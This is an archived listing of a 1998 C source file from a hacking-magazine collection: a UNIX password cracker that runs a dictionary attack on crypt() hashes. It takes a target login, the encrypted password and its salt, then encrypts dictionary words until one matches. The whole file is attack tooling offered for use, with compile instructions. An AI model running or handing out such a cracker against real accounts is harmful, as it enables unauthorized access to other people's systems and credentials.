home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / HackAddict™ Magazine / HA 1-12 / HackAddict11.sit / HackAddict 11 ƒ / Files / Seti's UNIX Shell Scripts / dec.c next >
C/C++ Source or Header  |  1998-02-14  |  1KB  |  61 lines

  1. /*This program is a simple UNIX password cracker.
  2. It will encrypt every word in a dictionary and compare it
  3. with the encrypted password you entered.  The time shown is the time it
  4. took to crack the password.
  5.  
  6. To compile: gcc dec.c -o dec
  7.  
  8.             -Seti
  9. */
  10.  
  11. #include <unistd.h>
  12. #include <stdio.h>
  13.  
  14. main()
  15. {
  16. char pass[15];
  17. char words[80];
  18. char salt[3];
  19. char dict[50];
  20. char login[15];
  21. char *pw, *pw2;
  22. int i, counter, var;
  23. FILE *fp;
  24.  
  25. printf("\nEnter the users login: ");
  26. scanf("%s", login);
  27. printf("\nEnter the encrypted password: ");
  28. scanf("%s", pass);
  29. printf("\nEnter the first two characters of the password: ");
  30. scanf("%s", salt);
  31. pw2 = crypt(login, salt);
  32.  
  33. i = strcmp(pw2, pass);
  34. if (i == 0) {
  35. printf("\nPassword match at users login: %s\n\n", login);
  36. exit(0);
  37. }
  38. printf("\nEnter the full dictionary location: ");
  39. scanf("%s", dict);
  40. printf("\nReading dictionary...\n\n");
  41. if ((fp = fopen(dict, "r")) == NULL) {
  42. printf("\nDictionary file not found\n");
  43. exit(0);
  44. }
  45. system("date +%l:%M:%S");
  46. fp = fopen(dict, "r");
  47. while ((var = fscanf(fp, "%s", words)) != EOF) {
  48. pw2 = crypt(words, salt);
  49.  
  50. i = strcmp(pw2, pass);
  51. if (i == 0) {
  52. system("date +%l:%M:%S");
  53. printf("\nPassword match at: %s\n\n", words);
  54. fclose(fp);
  55. exit(0);
  56.    }
  57. }
  58. fclose(fp);
  59. printf("No password match found for '%s'\n\n", pass);
  60. return 0;
  61. }